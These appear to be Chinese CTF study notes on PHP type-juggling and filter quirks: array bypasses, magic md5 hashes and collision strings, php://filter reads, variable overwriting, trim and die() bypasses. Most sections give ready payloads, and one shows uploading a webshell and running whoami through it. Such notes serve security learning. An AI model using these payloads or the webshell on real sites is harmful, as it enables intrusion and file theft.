PHP特性总结
PHP特性总结
数组绕过正则表达式
1 | if(preg_match("/[0-9]/", $num)){ |
preg_match("/[0-9]/", $num)
- 作用:检查
$num
是否包含 数字 0-9 - 如果包含,就
die("no no no!");
终止程序 - 如果不包含,执行
elseif (intval($num))
intval($num)
- 作用:尝试将
$num
转换为整数 - 如果转换结果为真(非 0),就输出
$flag
- 如果转换结果为 0,则不输出
$flag
preg_match
第二个参数要求是字符串,如果传入数组则不会进入if语句
1 | payload: num[]=1 |
[!IMPORTANT]
num[]=1
绕过原理分析
- 绕过
preg_match()
当你传递
num[]=1
作为参数时,$num
变成了一个包含单个元素的数组:array(1)
。
preg_match("/[0-9]/", $num)
试图在数组中查找数字,然而preg_match()
只接受字符串类型作为参数,因此它会触发一个警告并返回false
。由于警告不会阻止代码继续执行,preg_match()
不会成功匹配数字,导致代码继续进入elseif
分支。
- 触发
intval($num)
对于
intval($num)
,如果$num
是一个 非空数组(比如array(1)
),PHP 会将其转化为 **1
**,因此条件intval($num)
会成立,进入elseif
分支并触发echo $flag
。
intval函数的使用
1 | if($num==="4476"){ |
intval( mixed $value, int $base = 10) : int
- 当
base
参数的值为0
时,intval()
会根据输入字符串的 前缀 自动推断进制 - 如果字符串以
0x
或0X
开头,则该字符串会被视为 十六进制 数字 - 如果字符串以
0
开头,则该字符串会被视为 八进制 数字 - 其他情况,则会将该字符串视为 十进制 数字
用科学计数法绕过
1 | intval('4476.0')===4476 小数点 |
1 | payload: num=4476.0 |
正则表达式修饰符
1 | if(preg_match('/^php$/im', $a)){ |
i
(不区分大小写):意味着 php
、PHP
、PhP
都能匹配。
m
(多行模式):
^
代表 每一行 的开头,而不是整个字符串的开头。$
代表 每一行 的结尾,而不是整个字符串的结尾。
如果 $a
满足第一个条件 /^php$/im
(不区分大小写且支持多行匹配),就进入内部的判断。
- 如果
$a
仅等于"php"
(不区分大小写),则输出"hacker"
。 - 如果
$a
满足第一个正则表达式,但不完全等于"php"
,则输出$flag
。
如果 $a
没有匹配第一个条件 /^php$/im
,则输出 "nonononono"
。
1 | payload: %0aphp 或 php%0aphp |
highlight_file路径
1 | if($_GET['u']=='flag.php'){ |
if语句只比对字符串,highlight_file可以写路径,故payload有多种解法:
1 | ?u=php://filter/read=convert.base64-encode/resource=flag.php php伪协议 |
md5比较缺陷
1 | if ($_POST['a'] != $_POST['b']) { |
我们需要找到两个 不相等的值,但它们的 md5()
计算结果相同,即 MD5 碰撞
md5弱比较
不同数据强相等(===)
未使用强制类型转化
MD5无法处理数组,如果传入数组则返回NULL,两个NULL是强相等的
1 | payload: a[]=1&b[]=2 |
不同数据弱相等(==)
1 | payload: a=QNKCDZO&b=240610708 |
科学记数法绕过
0e 开头的字符串会被 PHP 识别为 科学记数法,并转换为数字 0
,只需找两个md5后都为0e开头且0e
后面均为数字的值即可
1 | payload:a=0e215962017&b=0e0 |
md5强碰撞
1 | $a = (string)$a; |
这里的条件要求 $a
和 $b
必须 不相等,但它们的 MD5 哈希值相同
1 | a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 |
sha1比较缺陷
1 | if($a==$b){ |
sha1无法处理数组,如上可使用a[]=1&b[]=1
数组绕过
如果强制类型转换,则不接受数组,找真正的编码后相同的
1 | aaroZmOk |
三目运算符的理解+变量覆盖
1 | $_GET?$_GET=&$_POST:'flag'; |
1 | $_GET ? $_GET = &$_POST : 'flag'; |
果 $_GET
数组不为空,则将 $_GET
的引用赋值给 $_POST
即$_GET
和 $_POST
会指向相同的数据
1 | $_GET['flag'] == 'flag' ? $_GET = &$_COOKIE : 'flag'; |
如果 $_GET['flag']
的值为 'flag'
,则将 $_GET
数组的引用赋值给 $_COOKIE
即$_GET
和 $_COOKIE
将指向相同的数据
1 | $_GET['flag'] == 'flag' ? $_GET = &$_SERVER : 'flag'; |
如果 $_GET['flag']
的值为 'flag'
,则将 $_GET
数组的引用赋值给 $_SERVER
。这使得 $_GET
和 $_SERVER
指向相同的数据
1 | highlight_file($_GET['HTTP_FLAG'] == 'flag' ? $flag : __FILE__); |
该行会高亮显示文件内容,条件是 $_GET['HTTP_FLAG']
等于 'flag'
。如果条件为真,它会显示 $flag
变量的内容;否则,它会显示当前脚本文件的内容
1 | payload: |
php弱类型比较
1 | $allow = array(); |
1 | payload: |
如:
假设我们找到了合法的 $_GET['n']=123
,我们可以上传 Webshell:
1 | POST /vuln.php?n=123 HTTP/1.1 |
然后访问:
1 | http://target.com/123?cmd=whoami |
and与&&的区别
1 | $a = false && true; |
false && true
先计算 false && true
(结果是 false
),然后赋值给 $a
。
false and true
先执行 $b = false
,然后 true
没有影响。
PHP双$($$)的变量覆盖
在双写$的时候,属于动态变量,就是后面的变量值作为新的变量名
1 | $test="a23"; $test等于a23 |
parse_str函数的使用
parse_str会把字符串解析为变量,大部分是传入的多个值
1 | $a="q=123&p=456"; |
trim函数的绕过+is_numeric绕过
trim()
函数用于去除字符串两端的空白字符(包括空格、制表符、换行符等)
trim默认时没有剔除%0c
(换页符)
1 | if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){ |
1 | payload: num=%0c36 |
绕过死亡die
1 | function filter($x){ |
1 | payload: |
这会将字符两位两位交换,file_put_contents在写入的时候会破坏那句die,但contents那句恢复原貌,
可以执行
gettext拓展的使用
1 | var_dump(call_user_func($f1,$f2)); |
如以上代码,多重过滤后,f1可以为 gettext ,f2可以为 phpinfo ,如果过滤更为严格,更改ini文件里
的拓展后, _() 等效于 gettext()
1 | <?php |